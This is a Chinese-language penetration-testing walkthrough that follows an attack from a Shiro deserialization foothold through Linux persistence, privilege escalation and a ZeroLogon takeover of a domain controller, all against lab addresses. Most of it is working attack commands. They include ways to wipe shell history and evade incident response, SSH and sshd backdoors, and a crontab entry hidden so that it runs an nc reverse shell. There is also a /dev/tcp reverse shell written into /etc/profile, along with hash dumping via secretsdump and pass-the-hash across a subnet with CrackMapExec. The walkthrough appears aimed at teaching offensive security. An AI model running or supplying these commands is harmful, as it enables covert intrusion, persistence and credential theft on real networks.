【实战】网络安全学习:内网渗透实例
一、前言
从linux打进去到域环境,到获取域控权限。全篇实操
二、外网打点
1、打开站点,很正常的一个登录界面
![](https://img.haomeiwen.com/i26472780/ca13d005abe998bd.png)
2、尝试登录后发现典型的shiro特征。
![](https://img.haomeiwen.com/i26472780/25fba12efe27c785.png)
3、使用工具直接打shiro反序列化即可。
![](https://img.haomeiwen.com/i26472780/722610dc9b356dbc.png)
4、直接上冰蝎马,连接
![](https://img.haomeiwen.com/i26472780/88de31a4ce87cde1.png)
![](https://img.haomeiwen.com/i26472780/59c9ad26ef0abbe7.png)
【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线
三、权限维持
权限维持其实看了很多文章,都是有包括修改用户的,但是因为应急响应排查最先的就是用户登录情况,/etc/passwd,/etc/shadow文件修改情况,所以这里其实不太推荐这样做。
当然下面介绍的几种也是比较常用的,简单操作的,操作其实还是有些明显的,可以挑选一两个用就好,毕竟,操作越少被发现的可能就越低嘛;也可以选择做多几个权限维持,一个去掉了还有另一个嘛~
(一)、隐藏历史记录
1、在命令前加空格,命令不会被记录
[空格]cat /etcpasswd
![](https://img.haomeiwen.com/i26472780/c9d372d1bda26a8a.png)
cat /etc/passwd
![](https://img.haomeiwen.com/i26472780/7530e58c884058f0.png)
可以看到命令只记录了一条
![](https://img.haomeiwen.com/i26472780/3c18d949109083ed.png)
2、设置命令不记录
[空格]set +o history
![](https://img.haomeiwen.com/i26472780/2462a7dd9e62c127.png)
恢复
set -o history
![](https://img.haomeiwen.com/i26472780/460f6bddbc26453b.png)
3、删除history文件中指定行的命令,[num]为每行命令左边的标识。
history -d [num]
可以看到原本的1命令已被删除
![](https://img.haomeiwen.com/i26472780/c29faffaae464662.png)
4、粗暴点的,直接删除history文件内容
#向history文件写入空内容,覆盖原本内容
echo > ~/.bash_history
#清空当前history记录
history -c
![](https://img.haomeiwen.com/i26472780/6373d78bc4ba5701.png)
![](https://img.haomeiwen.com/i26472780/b917bc86d13ee9fd.png)
(二)、SSH公钥写入
ssh连接相当于拿到目标主机的一个shell。除了使用账号密码进行连接以外,还有一种方式便是通过将ssh密钥写入/root/.ssh/authorized_keys目录下,然后便可以免密码登录了。
熟悉redis未授权访问漏洞的利用手法的话,对这种方式一定不会陌生。这也是一种留下后门的方式。
生成ssh密钥,输入命令,按三次回车即可
ssh-keygen -t rsa
生成后在~/.ssh/文件夹中发现密钥已经成功生成了。其中id_rsa为私钥,id_rsa.pub为公钥
![](https://img.haomeiwen.com/i26472780/b30336d865cc4146.png)
将id_rsa.pub文件内容输入到~/.ssh/authorized_keys文件中,如果没有这个文件,那就自己新建
![](https://img.haomeiwen.com/i26472780/f6b2cd3b0a582810.png)
尝试ssh连接成功
ssh root@10.211.55.4
![](https://img.haomeiwen.com/i26472780/12b246ae2cc1a05a.png)
(三)、SSH软连接
原理:
在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功登录。
也就是说当开启了pam认证后,只需要找到文件配置为auth sufficient pam_rootok.so的即可。
1、输入命令,生成软连接,端口为10022。
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022
![](https://img.haomeiwen.com/i26472780/070ce6d1ea2b590d.png)
2、ssh连接,密码任意输入,成功登录。
![](https://img.haomeiwen.com/i26472780/3687e1304c3d37db.png)
3、好用是好用,但是容易被发现,输入ps-aux就可以发现了。
![](https://img.haomeiwen.com/i26472780/5827e51cb7356c5c.png)
(四)、计划任务
1、新建一个cron.sh文件,这里我执行的命令是nc反弹shell,使用其他命令也是可以的。
![](https://img.haomeiwen.com/i26472780/0557354657928f58.png)
2、设置计划任务,这里*/3表示每3分钟执行一次。
(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for
whoami%100c\n")|crontab -
![](https://img.haomeiwen.com/i26472780/fb7392a3ad43c1c2.png)
3、成功隐藏计划任务
![](https://img.haomeiwen.com/i26472780/228c32b731b25861.png)
4、获取反弹shell
![](https://img.haomeiwen.com/i26472780/dce7aa828107a027.png)
(五)、通过环境变量植入后门
常见的环境变量路径如下:
/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc
将反弹shell命令写入环境变量
echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile
这样当系统重启了之后,便会将shell反弹到vps上了
四、主机信息收集
获取权限后,需要进行一定的信息收集
(一)、查询账户信息
whoami
![](https://img.haomeiwen.com/i26472780/2c73bdbe711871d9.png)
id
![](https://img.haomeiwen.com/i26472780/f7cfd45b37c2718e.png)
cat /etc/passwd
![](https://img.haomeiwen.com/i26472780/353593afadce8407.png)
cat /etc/shadow
![](https://img.haomeiwen.com/i26472780/e08884ad22ef6553.png)
(二)、查询网络和端口信息
ifconfig
![](https://img.haomeiwen.com/i26472780/8456b723284a4002.png)
netstat -anlp
![](https://img.haomeiwen.com/i26472780/1c275d1a6728d3eb.png)
arp -a
![](https://img.haomeiwen.com/i26472780/e597d15bb8e69213.png)
route -n
![](https://img.haomeiwen.com/i26472780/bf458e6e581653be.png)
(三)、查询进程列表
ps -ef
![](https://img.haomeiwen.com/i26472780/bf2a18d4723a4ac4.png)
(四)、查询系统和补丁信息
通过查询内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包
![](https://img.haomeiwen.com/i26472780/50aa5f32402f98fb.png)
(五)、凭证收取
cat /root/.bash_history //历史输入命令
cat ~/.bash_history //历史输入命令
![](https://img.haomeiwen.com/i26472780/038bf63dfd83186b.png)
w //目前登录的用户
![](https://img.haomeiwen.com/i26472780/ff00be1f498744f6.png)
五、提权
为了安全性考虑,渗透测试的站点往往会对一些数据库或者站点进行降权处理,降低了管理站点或者数据库的权限,防止攻击者获取了权限之后直接可以造成更大的威胁。这也就是表示在渗透测试过程中,我们获取的网站权限为低权限,只能做有限的一些操作,如果要突破当前主机进行内网渗透的话,我们需要拿到相对高的权限例如管理员权限,这样才能在当前服务器的基础上实现内网渗透。
然后我们了解一下服务器的权限划分,在windows系统中,最高权限为system系统权限,最低的为guest权限。在linux系统中,最高权限为root权限。
(一)、内核漏洞提权
利用条件
系统对应内核存在某些漏洞,并且没有打上补丁,即有可能存在内核漏洞。
cat /etc/issue #查看发行版本
uname -r #查看内核版本
实战演示
1、首先通过linux提权辅助工具linux-exploit-suggester来判断哪些漏洞可以用来溢出提权。
![](https://img.haomeiwen.com/i26472780/62e572f130bc7a96.png)
![](https://img.haomeiwen.com/i26472780/dd571a327555bee5.png)
2、这里选择脏牛——CVE-2016-5195来进行提权。首先下载对应的exp,使用命令gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,编译完成后会生成一个dirty文件。
![](https://img.haomeiwen.com/i26472780/e090279938219817.png)
3、执行dirty文件提权,在后面输入密码,获取一个firefart用户名,密码为我输入的密码的账户。
![](https://img.haomeiwen.com/i26472780/12ffb460a5472c35.png)
4、登录该用户,查看,已经成功获取root权限
![](https://img.haomeiwen.com/i26472780/b799629dbcb8f903.png)
(二)、SUID提权
SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。例如apt-get命令需要以root权限才能执行,我们可以设置apt-get对的SUID,那么低权限用户也可以以root权限执行apt-get操作。
SUID的常见标识就是使用‘s’替换了‘x’。
1、使用以下命令发现系统上运行的SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
![](https://img.haomeiwen.com/i26472780/4ed8847b99d0d3ce.png)
2、查看find命令,发现确实是使用了s来替换x。
![](https://img.haomeiwen.com/i26472780/3464c432545d7e02.png)
3、借助find命令进行命令执行,成功以root权限执行了命令
![](https://img.haomeiwen.com/i26472780/6a532c0d3fa5274e.png)
(三)、Sudo配置错误
sudo上存在这样一个漏洞,只要用户在使用sudo命令时指定UID为-1或4294967295,就可以以root身份执行命令。
1、以root权限执行id命令
sudo -u#-1 id
![](https://img.haomeiwen.com/i26472780/41fdf7db150c97cc.png)
2、以root权限执行whoami命令
sudo -u#-1 whoami
![](https://img.haomeiwen.com/i26472780/5e397e259b1a5049.png)
六、横向移动
横向移动方法很多,这里介绍一种在2020年公开的,可以直接攻击域控的漏洞。
(一)、CVE-2020-1472
NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。
微软MSRC于8月11日 发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472, CVSS 评分:10.0。由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。
使用的工具:
1、exp
2、impacket工具包
1、首先获取域内信息
net group "Domain Controllers" /domain
这里获取了域ajie.cool、域控主机名AD
![](https://img.haomeiwen.com/i26472780/0ff6204a1939b804.png)
2、使用exp将域控密码置空
python3 cve-2020-1472-exploit.py -n
域控主机名 -t 域控IP
python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128
![](https://img.haomeiwen.com/i26472780/b4c365b423c743bc.png)
这里已经成功将密码进行置空处理了
![](https://img.haomeiwen.com/i26472780/8544551eea7d0be0.png)
3、利用impacket工具包中的secretsdump.py脚本获取hash
python3 secretsdump.py ajie.cool/AD\$@192.168.30.128 -no-pass
![](https://img.haomeiwen.com/i26472780/7eb1a5e040a51a12.png)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::
AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
可以看到AD$的hash为31d6cfe0d16ae931b73c59d7e0c089c0
即空密码
![](https://img.haomeiwen.com/i26472780/63992103a867cb7b.png)
![](https://img.haomeiwen.com/i26472780/32a63e3e4d7130b4.png)
获取hash后便可以进行hash破解或PTH了,这里就不多做展示。
4、下一步我们需要还原密码。
首先通过获取到的hash,可以通过wmiexec.py进行pth攻击,拿到一个shell
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128
![](https://img.haomeiwen.com/i26472780/a66bde9c25af18e9.png)
5、中间省略获取权限到远程桌面到步骤了,也可以CS上线啥的,主要为了方便下载system.save、sam.save、security.save文件即可。
![](https://img.haomeiwen.com/i26472780/d8a372ab30f6fa7b.png)
![](https://img.haomeiwen.com/i26472780/5af7760dd9514081.png)
6、通过secretsdump.py获取保存的hash(文件路径根据自己的来设置,我这里因为在桌面所以通过../../跳转了)
python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL
![](https://img.haomeiwen.com/i26472780/b032db4f4ef4b81a.png)
框出来的那一串,后面部门即为原本的hash
75f490ed04ba66f04e0e947a185679bd
7、通过工具还原密码
python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd
![](https://img.haomeiwen.com/i26472780/8a82d5779e9b7ef9.png)
![](https://img.haomeiwen.com/i26472780/ef7a94fcbb29a414.png)
8、尝试了一下,no-pass利用失败了
![](https://img.haomeiwen.com/i26472780/01ef804899f9e142.png)
七、扩大战果
前面已经获取到域控的NTLM hash,那么后面可以使用Crackmapexec批量获取主机权限(通过域控NTLM hash,以及指定IP段进行攻击)
kali下进行安装
apt-get install crackmapexec
输入如下命令即可
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP :指定要攻击的IP段
-u :指定用户名
-H :指定NTLM Hash
-d :指定域
-x :执行系统命令·
可以看到返回了域控的管理员
![](https://img.haomeiwen.com/i26472780/0b85a50a494de987.png)
proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig
![](https://img.haomeiwen.com/i26472780/4e694594f3bfa658.png)
![](https://img.haomeiwen.com/i26472780/8a053866913e03b6.png)